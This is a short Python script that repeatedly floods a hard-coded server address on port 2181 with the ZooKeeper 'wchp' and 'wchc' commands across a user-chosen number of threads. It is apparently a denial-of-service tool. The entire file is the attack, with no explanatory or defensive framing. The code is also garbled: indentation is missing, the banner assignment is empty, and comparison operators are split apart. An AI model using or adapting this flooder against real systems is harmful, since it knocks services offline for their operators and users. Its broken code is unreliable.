import time
import os
import threading
import sys
import socket
numOfThreads = 1
exitStr = "n"
stop_threads = False
threads = []
ipAddress = "192.168.1.5"
port = 2181
def sendCommand(ipAddress, port):
try :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ipAddress, port))
s.send( "wchp\r" .encode( "utf-8" ))
s.recv( 1024 )
s.send( "wchc\r" .encode( "utf-8" ))
s.close()
except :
pass
def runCMD( id , stop, ipAddress, port):
while True :
sendCommand(ipAddress, port)
if stop():
break
return
def welcomeBanner():
banner =
print (banner)
welcomeBanner()
numOfThreads = int ( input ( "How many threads do you want to use: " ))
print ( "Startin Up Threads..." )
for i in range (numOfThreads):
t = threading.Thread(target = runCMD, args = ( id , lambda : stop_threads, ipAddress, port))
threads.append(t)
t.start()
print ( "Threads are now started..." )
while exitStr ! = "y" :
inpt = input ( "Do you wish to stop threads(y): " )
if inpt = = "y" :
exitStr = "y"
print ( "\nStopping Threads..." )
stop_threads = True
for thread in threads:
thread.join()
print ( "Threads are now stopped..." )
sys.exit( 0 );
|